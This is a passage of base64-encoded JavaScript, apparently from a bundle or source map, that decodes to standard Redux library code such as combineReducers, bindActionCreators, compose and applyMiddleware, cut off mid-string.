IHdhcm5pbmcgbWVzc2FnZS5cbiAqIEByZXR1cm5zIHt2b2lkfVxuICovXG5mdW5jdGlvbiB3YXJuaW5nKG1lc3NhZ2UpIHtcbiAgLyogZXNsaW50LWRpc2FibGUgbm8tY29uc29sZSAqL1xuICBpZiAodHlwZW9mIGNvbnNvbGUgIT09ICd1bmRlZmluZWQnICYmIHR5cGVvZiBjb25zb2xlLmVycm9yID09PSAnZnVuY3Rpb24nKSB7XG4gICAgY29uc29sZS5lcnJvcihtZXNzYWdlKTtcbiAgfVxuICAvKiBlc2xpbnQtZW5hYmxlIG5vLWNvbnNvbGUgKi9cbiAgdHJ5IHtcbiAgICAvLyBUaGlzIGVycm9yIHdhcyB0aHJvd24gYXMgYSBjb252ZW5pZW5jZSBzbyB0aGF0IGlmIHlvdSBlbmFibGVcbiAgICAvLyBcImJyZWFrIG9uIGFsbCBleGNlcHRpb25zXCIgaW4geW91ciBjb25zb2xlLFxuICAgIC8vIGl0IHdvdWxkIHBhdXNlIHRoZSBleGVjdXRpb24gYXQgdGhpcyBsaW5lLlxuICAgIHRocm93IG5ldyBFcnJvcihtZXNzYWdlKTtcbiAgfSBjYXRjaCAoZSkge30gLy8gZXNsaW50LWRpc2FibGUtbGluZSBuby1lbXB0eVxufVxuXG5mdW5jdGlvbiBnZXRVbmRlZmluZWRTdGF0ZUVycm9yTWVzc2FnZShrZXksIGFjdGlvbikge1xuICB2YXIgYWN0aW9uVHlwZSA9IGFjdGlvbiAmJiBhY3Rpb24udHlwZTtcbiAgdmFyIGFjdGlvbkRlc2NyaXB0aW9uID0gYWN0aW9uVHlwZSAmJiAnYWN0aW9uIFwiJyArIFN0cmluZyhhY3Rpb25UeXBlKSArICdcIicgfHwgJ2FuIGFjdGlvbic7XG5cbiAgcmV0dXJuICdHaXZlbiAnICsgYWN0aW9uRGVzY3JpcHRpb24gKyAnLCByZWR1Y2VyIFwiJyArIGtleSArICdcIiByZXR1cm5lZCB1bmRlZmluZWQuICcgKyAnVG8gaWdub3JlIGFuIGFjdGlvbiwgeW91IG11c3QgZXhwbGljaXRseSByZXR1cm4gdGhlIHByZXZpb3VzIHN0YXRlLiAnICsgJ0lmIHlvdSB3YW50IHRoaXMgcmVkdWNlciB0byBob2xkIG5vIHZhbHVlLCB5b3UgY2FuIHJldHVybiBudWxsIGluc3RlYWQgb2YgdW5kZWZpbmVkLic7XG59XG5cbmZ1bmN0aW9uIGdldFVuZXhwZWN0ZWRTdGF0ZVNoYXBlV2FybmluZ01lc3NhZ2UoaW5wdXRTdGF0ZSwgcmVkdWNlcnMsIGFjdGlvbiwgdW5leHBlY3RlZEtleUNhY2hlKSB7XG4gIHZhciByZWR1Y2VyS2V5cyA9IE9iamVjdC5rZXlzKHJlZHVjZXJzKTtcbiAgdmFyIGFyZ3VtZW50TmFtZSA9IGFjdGlvbiAmJiBhY3Rpb24udHlwZSA9PT0gQWN0aW9uVHlwZXMuSU5JVCA/ICdwcmVsb2FkZWRTdGF0ZSBhcmd1bWVudCBwYXNzZWQgdG8gY3JlYXRlU3RvcmUnIDogJ3ByZXZpb3VzIHN0YXRlIHJlY2VpdmVkIGJ5IHRoZSByZWR1Y2VyJztcblxuICBpZiAocmVkdWNlcktleXMubGVuZ3RoID09PSAwKSB7XG4gICAgcmV0dXJuICdTdG9yZSBkb2VzIG5vdCBoYXZlIGEgdmFsaWQgcmVkdWNlci4gTWFrZSBzdXJlIHRoZSBhcmd1bWVudCBwYXNzZWQgJyArICd0byBjb21iaW5lUmVkdWNlcnMgaXMgYW4gb2JqZWN0IHdob3NlIHZhbHVlcyBhcmUgcmVkdWNlcnMuJztcbiAgfVxuXG4gIGlmICghaXNQbGFpbk9iamVjdChpbnB1dFN0YXRlKSkge1xuICAgIHJldHVybiAnVGhlICcgKyBhcmd1bWVudE5hbWUgKyAnIGhhcyB1bmV4cGVjdGVkIHR5cGUgb2YgXCInICsge30udG9TdHJpbmcuY2FsbChpbnB1dFN0YXRlKS5tYXRjaCgvXFxzKFthLXp8QS1aXSspLylbMV0gKyAnXCIuIEV4cGVjdGVkIGFyZ3VtZW50IHRvIGJlIGFuIG9iamVjdCB3aXRoIHRoZSBmb2xsb3dpbmcgJyArICgna2V5czogXCInICsgcmVkdWNlcktleXMuam9pbignXCIsIFwiJykgKyAnXCInKTtcbiAgfVxuXG4gIHZhciB1bmV4cGVjdGVkS2V5cyA9IE9iamVjdC5rZXlzKGlucHV0U3RhdGUpLmZpbHRlcihmdW5jdGlvbiAoa2V5KSB7XG4gICAgcmV0dXJuICFyZWR1Y2Vycy5oYXNPd25Qcm9wZXJ0eShrZXkpICYmICF1bmV4cGVjdGVkS2V5Q2FjaGVba2V5XTtcbiAgfSk7XG5cbiAgdW5leHBlY3RlZEtleXMuZm9yRWFjaChmdW5jdGlvbiAoa2V5KSB7XG4gICAgdW5leHBlY3RlZEtleUNhY2hlW2tleV0gPSB0cnVlO1xuICB9KTtcblxuICBpZiAoYWN0aW9uICYmIGFjdGlvbi50eXBlID09PSBBY3Rpb25UeXBlcy5SRVBMQUNFKSByZXR1cm47XG5cbiAgaWYgKHVuZXhwZWN0ZWRLZXlzLmxlbmd0aCA+IDApIHtcbiAgICByZXR1cm4gJ1VuZXhwZWN0ZWQgJyArICh1bmV4cGVjdGVkS2V5cy5sZW5ndGggPiAxID8gJ2tleXMnIDogJ2tleScpICsgJyAnICsgKCdcIicgKyB1bmV4cGVjdGVkS2V5cy5qb2luKCdcIiwgXCInKSArICdcIiBmb3VuZCBpbiAnICsgYXJndW1lbnROYW1lICsgJy4gJykgKyAnRXhwZWN0ZWQgdG8gZmluZCBvbmUgb2YgdGhlIGtub3duIHJlZHVjZXIga2V5cyBpbnN0ZWFkOiAnICsgKCdcIicgKyByZWR1Y2VyS2V5cy5qb2luKCdcIiwgXCInKSArICdcIi4gVW5leHBlY3RlZCBrZXlzIHdpbGwgYmUgaWdub3JlZC4nKTtcbiAgfVxufVxuXG5mdW5jdGlvbiBhc3NlcnRSZWR1Y2VyU2hhcGUocmVkdWNlcnMpIHtcbiAgT2JqZWN0LmtleXMocmVkdWNlcnMpLmZvckVhY2goZnVuY3Rpb24gKGtleSkge1xuICAgIHZhciByZWR1Y2VyID0gcmVkdWNlcnNba2V5XTtcbiAgICB2YXIgaW5pdGlhbFN0YXRlID0gcmVkdWNlcih1bmRlZmluZWQsIHsgdHlwZTogQWN0aW9uVHlwZXMuSU5JVCB9KTtcblxuICAgIGlmICh0eXBlb2YgaW5pdGlhbFN0YXRlID09PSAndW5kZWZpbmVkJykge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdSZWR1Y2VyIFwiJyArIGtleSArICdcIiByZXR1cm5lZCB1bmRlZmluZWQgZHVyaW5nIGluaXRpYWxpemF0aW9uLiAnICsgJ0lmIHRoZSBzdGF0ZSBwYXNzZWQgdG8gdGhlIHJlZHVjZXIgaXMgdW5kZWZpbmVkLCB5b3UgbXVzdCAnICsgJ2V4cGxpY2l0bHkgcmV0dXJuIHRoZSBpbml0aWFsIHN0YXRlLiBUaGUgaW5pdGlhbCBzdGF0ZSBtYXkgJyArICdub3QgYmUgdW5kZWZpbmVkLiBJZiB5b3UgZG9uXFwndCB3YW50IHRvIHNldCBhIHZhbHVlIGZvciB0aGlzIHJlZHVjZXIsICcgKyAneW91IGNhbiB1c2UgbnVsbCBpbnN0ZWFkIG9mIHVuZGVmaW5lZC4nKTtcbiAgICB9XG5cbiAgICB2YXIgdHlwZSA9ICdAQHJlZHV4L1BST0JFX1VOS05PV05fQUNUSU9OXycgKyBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHJpbmcoNykuc3BsaXQoJycpLmpvaW4oJy4nKTtcbiAgICBpZiAodHlwZW9mIHJlZHVjZXIodW5kZWZpbmVkLCB7IHR5cGU6IHR5cGUgfSkgPT09ICd1bmRlZmluZWQnKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ1JlZHVjZXIgXCInICsga2V5ICsgJ1wiIHJldHVybmVkIHVuZGVmaW5lZCB3aGVuIHByb2JlZCB3aXRoIGEgcmFuZG9tIHR5cGUuICcgKyAoJ0RvblxcJ3QgdHJ5IHRvIGhhbmRsZSAnICsgQWN0aW9uVHlwZXMuSU5JVCArICcgb3Igb3RoZXIgYWN0aW9ucyBpbiBcInJlZHV4LypcIiAnKSArICduYW1lc3BhY2UuIFRoZXkgYXJlIGNvbnNpZGVyZWQgcHJpdmF0ZS4gSW5zdGVhZCwgeW91IG11c3QgcmV0dXJuIHRoZSAnICsgJ2N1cnJlbnQgc3RhdGUgZm9yIGFueSB1bmtub3duIGFjdGlvbnMsIHVubGVzcyBpdCBpcyB1bmRlZmluZWQsICcgKyAnaW4gd2hpY2ggY2FzZSB5b3UgbXVzdCByZXR1cm4gdGhlIGluaXRpYWwgc3RhdGUsIHJlZ2FyZGxlc3Mgb2YgdGhlICcgKyAnYWN0aW9uIHR5cGUuIFRoZSBpbml0aWFsIHN0YXRlIG1heSBub3QgYmUgdW5kZWZpbmVkLCBidXQgY2FuIGJlIG51bGwuJyk7XG4gICAgfVxuICB9KTtcbn1cblxuLyoqXG4gKiBUdXJucyBhbiBvYmplY3Qgd2hvc2UgdmFsdWVzIGFyZSBkaWZmZXJlbnQgcmVkdWNlciBmdW5jdGlvbnMsIGludG8gYSBzaW5nbGVcbiAqIHJlZHVjZXIgZnVuY3Rpb24uIEl0IHdpbGwgY2FsbCBldmVyeSBjaGlsZCByZWR1Y2VyLCBhbmQgZ2F0aGVyIHRoZWlyIHJlc3VsdHNcbiAqIGludG8gYSBzaW5nbGUgc3RhdGUgb2JqZWN0LCB3aG9zZSBrZXlzIGNvcnJlc3BvbmQgdG8gdGhlIGtleXMgb2YgdGhlIHBhc3NlZFxuICogcmVkdWNlciBmdW5jdGlvbnMuXG4gKlxuICogQHBhcmFtIHtPYmplY3R9IHJlZHVjZXJzIEFuIG9iamVjdCB3aG9zZSB2YWx1ZXMgY29ycmVzcG9uZCB0byBkaWZmZXJlbnRcbiAqIHJlZHVjZXIgZnVuY3Rpb25zIHRoYXQgbmVlZCB0byBiZSBjb21iaW5lZCBpbnRvIG9uZS4gT25lIGhhbmR5IHdheSB0byBvYnRhaW5cbiAqIGl0IGlzIHRvIHVzZSBFUzYgYGltcG9ydCAqIGFzIHJlZHVjZXJzYCBzeW50YXguIFRoZSByZWR1Y2VycyBtYXkgbmV2ZXIgcmV0dXJuXG4gKiB1bmRlZmluZWQgZm9yIGFueSBhY3Rpb24uIEluc3RlYWQsIHRoZXkgc2hvdWxkIHJldHVybiB0aGVpciBpbml0aWFsIHN0YXRlXG4gKiBpZiB0aGUgc3RhdGUgcGFzc2VkIHRvIHRoZW0gd2FzIHVuZGVmaW5lZCwgYW5kIHRoZSBjdXJyZW50IHN0YXRlIGZvciBhbnlcbiAqIHVucmVjb2duaXplZCBhY3Rpb24uXG4gKlxuICogQHJldHVybnMge0Z1bmN0aW9ufSBBIHJlZHVjZXIgZnVuY3Rpb24gdGhhdCBpbnZva2VzIGV2ZXJ5IHJlZHVjZXIgaW5zaWRlIHRoZVxuICogcGFzc2VkIG9iamVjdCwgYW5kIGJ1aWxkcyBhIHN0YXRlIG9iamVjdCB3aXRoIHRoZSBzYW1lIHNoYXBlLlxuICovXG5mdW5jdGlvbiBjb21iaW5lUmVkdWNlcnMocmVkdWNlcnMpIHtcbiAgdmFyIHJlZHVjZXJLZXlzID0gT2JqZWN0LmtleXMocmVkdWNlcnMpO1xuICB2YXIgZmluYWxSZWR1Y2VycyA9IHt9O1xuICBmb3IgKHZhciBpID0gMDsgaSA8IHJlZHVjZXJLZXlzLmxlbmd0aDsgaSsrKSB7XG4gICAgdmFyIGtleSA9IHJlZHVjZXJLZXlzW2ldO1xuXG4gICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgIGlmICh0eXBlb2YgcmVkdWNlcnNba2V5XSA9PT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgd2FybmluZygnTm8gcmVkdWNlciBwcm92aWRlZCBmb3Iga2V5IFwiJyArIGtleSArICdcIicpO1xuICAgICAgfVxuICAgIH1cblxuICAgIGlmICh0eXBlb2YgcmVkdWNlcnNba2V5XSA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgZmluYWxSZWR1Y2Vyc1trZXldID0gcmVkdWNlcnNba2V5XTtcbiAgICB9XG4gIH1cbiAgdmFyIGZpbmFsUmVkdWNlcktleXMgPSBPYmplY3Qua2V5cyhmaW5hbFJlZHVjZXJzKTtcblxuICB2YXIgdW5leHBlY3RlZEtleUNhY2hlID0gdm9pZCAwO1xuICBpZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICAgIHVuZXhwZWN0ZWRLZXlDYWNoZSA9IHt9O1xuICB9XG5cbiAgdmFyIHNoYXBlQXNzZXJ0aW9uRXJyb3IgPSB2b2lkIDA7XG4gIHRyeSB7XG4gICAgYXNzZXJ0UmVkdWNlclNoYXBlKGZpbmFsUmVkdWNlcnMpO1xuICB9IGNhdGNoIChlKSB7XG4gICAgc2hhcGVBc3NlcnRpb25FcnJvciA9IGU7XG4gIH1cblxuICByZXR1cm4gZnVuY3Rpb24gY29tYmluYXRpb24oKSB7XG4gICAgdmFyIHN0YXRlID0gYXJndW1lbnRzLmxlbmd0aCA+IDAgJiYgYXJndW1lbnRzWzBdICE9PSB1bmRlZmluZWQgPyBhcmd1bWVudHNbMF0gOiB7fTtcbiAgICB2YXIgYWN0aW9uID0gYXJndW1lbnRzWzFdO1xuXG4gICAgaWYgKHNoYXBlQXNzZXJ0aW9uRXJyb3IpIHtcbiAgICAgIHRocm93IHNoYXBlQXNzZXJ0aW9uRXJyb3I7XG4gICAgfVxuXG4gICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgIHZhciB3YXJuaW5nTWVzc2FnZSA9IGdldFVuZXhwZWN0ZWRTdGF0ZVNoYXBlV2FybmluZ01lc3NhZ2Uoc3RhdGUsIGZpbmFsUmVkdWNlcnMsIGFjdGlvbiwgdW5leHBlY3RlZEtleUNhY2hlKTtcbiAgICAgIGlmICh3YXJuaW5nTWVzc2FnZSkge1xuICAgICAgICB3YXJuaW5nKHdhcm5pbmdNZXNzYWdlKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICB2YXIgaGFzQ2hhbmdlZCA9IGZhbHNlO1xuICAgIHZhciBuZXh0U3RhdGUgPSB7fTtcbiAgICBmb3IgKHZhciBfaSA9IDA7IF9pIDwgZmluYWxSZWR1Y2VyS2V5cy5sZW5ndGg7IF9pKyspIHtcbiAgICAgIHZhciBfa2V5ID0gZmluYWxSZWR1Y2VyS2V5c1tfaV07XG4gICAgICB2YXIgcmVkdWNlciA9IGZpbmFsUmVkdWNlcnNbX2tleV07XG4gICAgICB2YXIgcHJldmlvdXNTdGF0ZUZvcktleSA9IHN0YXRlW19rZXldO1xuICAgICAgdmFyIG5leHRTdGF0ZUZvcktleSA9IHJlZHVjZXIocHJldmlvdXNTdGF0ZUZvcktleSwgYWN0aW9uKTtcbiAgICAgIGlmICh0eXBlb2YgbmV4dFN0YXRlRm9yS2V5ID09PSAndW5kZWZpbmVkJykge1xuICAgICAgICB2YXIgZXJyb3JNZXNzYWdlID0gZ2V0VW5kZWZpbmVkU3RhdGVFcnJvck1lc3NhZ2UoX2tleSwgYWN0aW9uKTtcbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKGVycm9yTWVzc2FnZSk7XG4gICAgICB9XG4gICAgICBuZXh0U3RhdGVbX2tleV0gPSBuZXh0U3RhdGVGb3JLZXk7XG4gICAgICBoYXNDaGFuZ2VkID0gaGFzQ2hhbmdlZCB8fCBuZXh0U3RhdGVGb3JLZXkgIT09IHByZXZpb3VzU3RhdGVGb3JLZXk7XG4gICAgfVxuICAgIHJldHVybiBoYXNDaGFuZ2VkID8gbmV4dFN0YXRlIDogc3RhdGU7XG4gIH07XG59XG5cbmZ1bmN0aW9uIGJpbmRBY3Rpb25DcmVhdG9yKGFjdGlvbkNyZWF0b3IsIGRpc3BhdGNoKSB7XG4gIHJldHVybiBmdW5jdGlvbiAoKSB7XG4gICAgcmV0dXJuIGRpc3BhdGNoKGFjdGlvbkNyZWF0b3IuYXBwbHkodGhpcywgYXJndW1lbnRzKSk7XG4gIH07XG59XG5cbi8qKlxuICogVHVybnMgYW4gb2JqZWN0IHdob3NlIHZhbHVlcyBhcmUgYWN0aW9uIGNyZWF0b3JzLCBpbnRvIGFuIG9iamVjdCB3aXRoIHRoZVxuICogc2FtZSBrZXlzLCBidXQgd2l0aCBldmVyeSBmdW5jdGlvbiB3cmFwcGVkIGludG8gYSBgZGlzcGF0Y2hgIGNhbGwgc28gdGhleVxuICogbWF5IGJlIGludm9rZWQgZGlyZWN0bHkuIFRoaXMgaXMganVzdCBhIGNvbnZlbmllbmNlIG1ldGhvZCwgYXMgeW91IGNhbiBjYWxsXG4gKiBgc3RvcmUuZGlzcGF0Y2goTXlBY3Rpb25DcmVhdG9ycy5kb1NvbWV0aGluZygpKWAgeW91cnNlbGYganVzdCBmaW5lLlxuICpcbiAqIEZvciBjb252ZW5pZW5jZSwgeW91IGNhbiBhbHNvIHBhc3MgYSBzaW5nbGUgZnVuY3Rpb24gYXMgdGhlIGZpcnN0IGFyZ3VtZW50LFxuICogYW5kIGdldCBhIGZ1bmN0aW9uIGluIHJldHVybi5cbiAqXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufE9iamVjdH0gYWN0aW9uQ3JlYXRvcnMgQW4gb2JqZWN0IHdob3NlIHZhbHVlcyBhcmUgYWN0aW9uXG4gKiBjcmVhdG9yIGZ1bmN0aW9ucy4gT25lIGhhbmR5IHdheSB0byBvYnRhaW4gaXQgaXMgdG8gdXNlIEVTNiBgaW1wb3J0ICogYXNgXG4gKiBzeW50YXguIFlvdSBtYXkgYWxzbyBwYXNzIGEgc2luZ2xlIGZ1bmN0aW9uLlxuICpcbiAqIEBwYXJhbSB7RnVuY3Rpb259IGRpc3BhdGNoIFRoZSBgZGlzcGF0Y2hgIGZ1bmN0aW9uIGF2YWlsYWJsZSBvbiB5b3VyIFJlZHV4XG4gKiBzdG9yZS5cbiAqXG4gKiBAcmV0dXJucyB7RnVuY3Rpb258T2JqZWN0fSBUaGUgb2JqZWN0IG1pbWlja2luZyB0aGUgb3JpZ2luYWwgb2JqZWN0LCBidXQgd2l0aFxuICogZXZlcnkgYWN0aW9uIGNyZWF0b3Igd3JhcHBlZCBpbnRvIHRoZSBgZGlzcGF0Y2hgIGNhbGwuIElmIHlvdSBwYXNzZWQgYVxuICogZnVuY3Rpb24gYXMgYGFjdGlvbkNyZWF0b3JzYCwgdGhlIHJldHVybiB2YWx1ZSB3aWxsIGFsc28gYmUgYSBzaW5nbGVcbiAqIGZ1bmN0aW9uLlxuICovXG5mdW5jdGlvbiBiaW5kQWN0aW9uQ3JlYXRvcnMoYWN0aW9uQ3JlYXRvcnMsIGRpc3BhdGNoKSB7XG4gIGlmICh0eXBlb2YgYWN0aW9uQ3JlYXRvcnMgPT09ICdmdW5jdGlvbicpIHtcbiAgICByZXR1cm4gYmluZEFjdGlvbkNyZWF0b3IoYWN0aW9uQ3JlYXRvcnMsIGRpc3BhdGNoKTtcbiAgfVxuXG4gIGlmICgodHlwZW9mIGFjdGlvbkNyZWF0b3JzID09PSAndW5kZWZpbmVkJyA/ICd1bmRlZmluZWQnIDogX3R5cGVvZihhY3Rpb25DcmVhdG9ycykpICE9PSAnb2JqZWN0JyB8fCBhY3Rpb25DcmVhdG9ycyA9PT0gbnVsbCkge1xuICAgIHRocm93IG5ldyBFcnJvcignYmluZEFjdGlvbkNyZWF0b3JzIGV4cGVjdGVkIGFuIG9iamVjdCBvciBhIGZ1bmN0aW9uLCBpbnN0ZWFkIHJlY2VpdmVkICcgKyAoYWN0aW9uQ3JlYXRvcnMgPT09IG51bGwgPyAnbnVsbCcgOiB0eXBlb2YgYWN0aW9uQ3JlYXRvcnMgPT09ICd1bmRlZmluZWQnID8gJ3VuZGVmaW5lZCcgOiBfdHlwZW9mKGFjdGlvbkNyZWF0b3JzKSkgKyAnLiAnICsgJ0RpZCB5b3Ugd3JpdGUgXCJpbXBvcnQgQWN0aW9uQ3JlYXRvcnMgZnJvbVwiIGluc3RlYWQgb2YgXCJpbXBvcnQgKiBhcyBBY3Rpb25DcmVhdG9ycyBmcm9tXCI/Jyk7XG4gIH1cblxuICB2YXIga2V5cyA9IE9iamVjdC5rZXlzKGFjdGlvbkNyZWF0b3JzKTtcbiAgdmFyIGJvdW5kQWN0aW9uQ3JlYXRvcnMgPSB7fTtcbiAgZm9yICh2YXIgaSA9IDA7IGkgPCBrZXlzLmxlbmd0aDsgaSsrKSB7XG4gICAgdmFyIGtleSA9IGtleXNbaV07XG4gICAgdmFyIGFjdGlvbkNyZWF0b3IgPSBhY3Rpb25DcmVhdG9yc1trZXldO1xuICAgIGlmICh0eXBlb2YgYWN0aW9uQ3JlYXRvciA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgYm91bmRBY3Rpb25DcmVhdG9yc1trZXldID0gYmluZEFjdGlvbkNyZWF0b3IoYWN0aW9uQ3JlYXRvciwgZGlzcGF0Y2gpO1xuICAgIH1cbiAgfVxuICByZXR1cm4gYm91bmRBY3Rpb25DcmVhdG9ycztcbn1cblxuLyoqXG4gKiBDb21wb3NlcyBzaW5nbGUtYXJndW1lbnQgZnVuY3Rpb25zIGZyb20gcmlnaHQgdG8gbGVmdC4gVGhlIHJpZ2h0bW9zdFxuICogZnVuY3Rpb24gY2FuIHRha2UgbXVsdGlwbGUgYXJndW1lbnRzIGFzIGl0IHByb3ZpZGVzIHRoZSBzaWduYXR1cmUgZm9yXG4gKiB0aGUgcmVzdWx0aW5nIGNvbXBvc2l0ZSBmdW5jdGlvbi5cbiAqXG4gKiBAcGFyYW0gey4uLkZ1bmN0aW9ufSBmdW5jcyBUaGUgZnVuY3Rpb25zIHRvIGNvbXBvc2UuXG4gKiBAcmV0dXJucyB7RnVuY3Rpb259IEEgZnVuY3Rpb24gb2J0YWluZWQgYnkgY29tcG9zaW5nIHRoZSBhcmd1bWVudCBmdW5jdGlvbnNcbiAqIGZyb20gcmlnaHQgdG8gbGVmdC4gRm9yIGV4YW1wbGUsIGNvbXBvc2UoZiwgZywgaCkgaXMgaWRlbnRpY2FsIHRvIGRvaW5nXG4gKiAoLi4uYXJncykgPT4gZihnKGgoLi4uYXJncykpKS5cbiAqL1xuXG5mdW5jdGlvbiBjb21wb3NlKCkge1xuICBmb3IgKHZhciBfbGVuID0gYXJndW1lbnRzLmxlbmd0aCwgZnVuY3MgPSBBcnJheShfbGVuKSwgX2tleSA9IDA7IF9rZXkgPCBfbGVuOyBfa2V5KyspIHtcbiAgICBmdW5jc1tfa2V5XSA9IGFyZ3VtZW50c1tfa2V5XTtcbiAgfVxuXG4gIGlmIChmdW5jcy5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gZnVuY3Rpb24gKGFyZykge1xuICAgICAgcmV0dXJuIGFyZztcbiAgICB9O1xuICB9XG5cbiAgaWYgKGZ1bmNzLmxlbmd0aCA9PT0gMSkge1xuICAgIHJldHVybiBmdW5jc1swXTtcbiAgfVxuXG4gIHJldHVybiBmdW5jcy5yZWR1Y2UoZnVuY3Rpb24gKGEsIGIpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24gKCkge1xuICAgICAgcmV0dXJuIGEoYi5hcHBseSh1bmRlZmluZWQsIGFyZ3VtZW50cykpO1xuICAgIH07XG4gIH0pO1xufVxuXG4vKipcbiAqIENyZWF0ZXMgYSBzdG9yZSBlbmhhbmNlciB0aGF0IGFwcGxpZXMgbWlkZGxld2FyZSB0byB0aGUgZGlzcGF0Y2ggbWV0aG9kXG4gKiBvZiB0aGUgUmVkdXggc3RvcmUuIFRoaXMgaXMgaGFuZHkgZm9yIGEgdmFyaWV0eSBvZiB0YXNrcywgc3VjaCBhcyBleHByZXNzaW5nXG4gKiBhc3luY2hyb25vdXMgYWN0aW9ucyBpbiBhIGNvbmNpc2UgbWFubmVyLCBvciBsb2dnaW5nIGV2ZXJ5IGFjdGlvbiBwYXlsb2FkLlxuICpcbiAqIFNlZSBgcmVkdXgtdGh1bmtgIHBhY2thZ2UgYXMgYW4gZXhhbXBsZSBvZiB0aGUgUmVkdXggbWlkZGxld2FyZS5cbiAqXG4gKiBCZWNhdXNlIG1pZGRsZXdhcmUgaXMgcG90ZW50aWFsbHkgYXN5bmNocm9ub3VzLCB0aGlzIHNob3VsZCBiZSB0aGUgZmlyc3RcbiAqIHN0b3JlIGVuaGFuY2VyIGluIHRoZSBjb21wb3NpdGlvbiBjaGFpbi5cbiAqXG4gKiBOb3RlIHRoYXQgZWFjaCBtaWRkbGV3YXJlIHdpbGwgYmUgZ2l2ZW4gdGhlIGBkaXNwYXRjaGAgYW5kIGBnZXRTdGF0ZWAgZnVuY3Rpb25zXG4gKiBhcyBuYW1lZCBhcmd1bWVudHMuXG4gKlxuICogQHBhcmFtIHsuLi5GdW5jdGlvbn0gbWlkZGxld2FyZXMgVGhlIG1pZGRsZXdhcmUgY2hhaW4gdG8gYmUgYXBwbGllZC5cbiAqIEByZXR1cm5zIHtGdW5jdGlvbn0gQSBzdG9yZSBlbmhhbmNlciBhcHBseWluZyB0aGUgbWlkZGxld2FyZS5cbiAqL1xuZnVuY3Rpb24gYXBwbHlNaWRkbGV3YXJlKCkge1xuICBmb3IgKHZhciBfbGVuID0gYXJndW1lbnRzLmxlbmd0aCwgbWlkZGxld2FyZXMgPSBBcnJheShfbGVuKSwgX2tleSA9IDA7IF9rZXkgPCBfbGVuOyBfa2V5KyspIHtcbiAgICBtaWRkbGV3YXJlc1tfa2V5XSA9IGFyZ3VtZW50c1tfa2V5XTtcbiAgfVxuXG4gIHJldHVybiBmdW5jdGlvbiAoY3JlYXRlU3RvcmUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24gKCkge1xuICAgICAgZm9yICh2YXIgX2xlbjIgPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbjIpLCBfa2V5MiA9IDA7IF9rZXkyIDwgX2xlbjI7IF9rZXkyKyspIHtcbiAgICAgICAgYXJnc1tfa2V5Ml0gPSBhcmd1bWVudHNbX2tleTJdO1xuICAgICAgfVxuXG4gICAgICB2YXIgc3RvcmUgPSBjcmVhdGVTdG9yZS5hcHBseSh1bmRlZmluZWQsIGFyZ3MpO1xuICAgICAgdmFyIF9kaXNwYXRjaCA9IGZ1bmN0aW9uIGRpc3BhdGNoKCkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ0Rpc3BhdGNoaW5nIHdoaWxlIGNvbnN0cnVjdGluZyB5b3VyIG1pZGRsZXdhcmUgaXMgbm90IGFsbG93ZWQuICcgKyAnT3RoZXIgbWlkZGxld2FyZSB3b3VsZCBub3QgYmUgYXBwbGllZCB0byB0aGlzIGRpc3BhdGNoLicpO1xuICAgICAgfTtcblxuICAgICAgdmFyIG1pZGRsZXdhcmVBUEkgPSB7XG4gICAgICAgIGdldFN0YXRlOiBzdG9yZS5nZXRTdGF0ZSxcbiAgICAgICAgZGlzcGF0Y2g6IGZ1bmN0aW9uIGRpc3BhdGNoKCkge1xuICAgICAgICAgIHJldHVybiBfZGlzcGF0Y2guYXBwbHkodW5kZWZpbmVkLCBhcmd1bWVudHMpO1xuICAgICAgICB9XG4gICAgICB9O1xuICAgICAgdmFyIGNoYWluID0gbWlkZGxld2FyZXMubWFwKGZ1bmN0aW9uIChtaWRkbGV3YXJlKSB7XG4gICAgICAgIHJldHVybiBtaWRkbGV3YXJlKG1pZGRsZXdhcmVBUEkpO1xuICAgICAgfSk7XG4gICAgICBfZGlzcGF0Y2ggPSBjb21wb3NlLmFwcGx5KHVuZGVmaW5lZCwgY2hhaW4pKHN0b3JlLmRpc3BhdGNoKTtcblxuICAgICAgcmV0dXJuIF9leHRlbmRzKHt9LCBzdG9yZSwge1xuICAgICAgICBkaXNwYXRjaDogX2Rpc3BhdGNoXG4gICAgICB9KTtcbiAgICB9O1xuICB9O1xufVxuXG4vKlxuICogVGhpcyBpcyBhIGR1bW15IGZ1bmN0aW9uIHRvIGNoZWNrIGlmIHRoZSBmdW5jdGlvbiBuYW1lIGhhcyBiZWVuIGFsdGVyZWQgYnkgbWluaWZpY2F0aW9uLlxuICogSWYgdGhlIGZ1bmN0aW9uIGhhcyBiZWVuIG1pbmlmaWVkIGFuZCBOT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nLCB3YXJuIHRoZSB1c2VyLlxuICovXG5mdW5jdGlvbiBpc0NydXNoZWQoKSB7fVxuXG5pZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJyAmJiB0eXBlb2YgaXNDcnVzaGVkLm5hbWUgPT09ICdzdHJpbmcnICYmIGlzQ3J1c2hlZC5uYW1lICE9PSAnaXNDcnVzaGVkJykge1xuICB3YXJuaW5nKFwiWW91IGFyZSBjdXJyZW50bHkgdXNpbmcgbWluaWZpZWQgY29kZSBvdXRzaWRlIG9mIE5PREVfRU5WID09PSAncHJvZHVjdGlvbicuIFwiICsgJ1RoaXMgbWVhbnMgdGhhdCB5b3UgYXJlIHJ1bm5pbmcgYSBzbG93ZXIgZGV2ZWxvcG1lbnQgYnVpbGQgb2YgUmVkdXguICcgKyAnWW91IGNhbiB1c2UgbG9vc2UtZW52aWZ5IChodHRwcz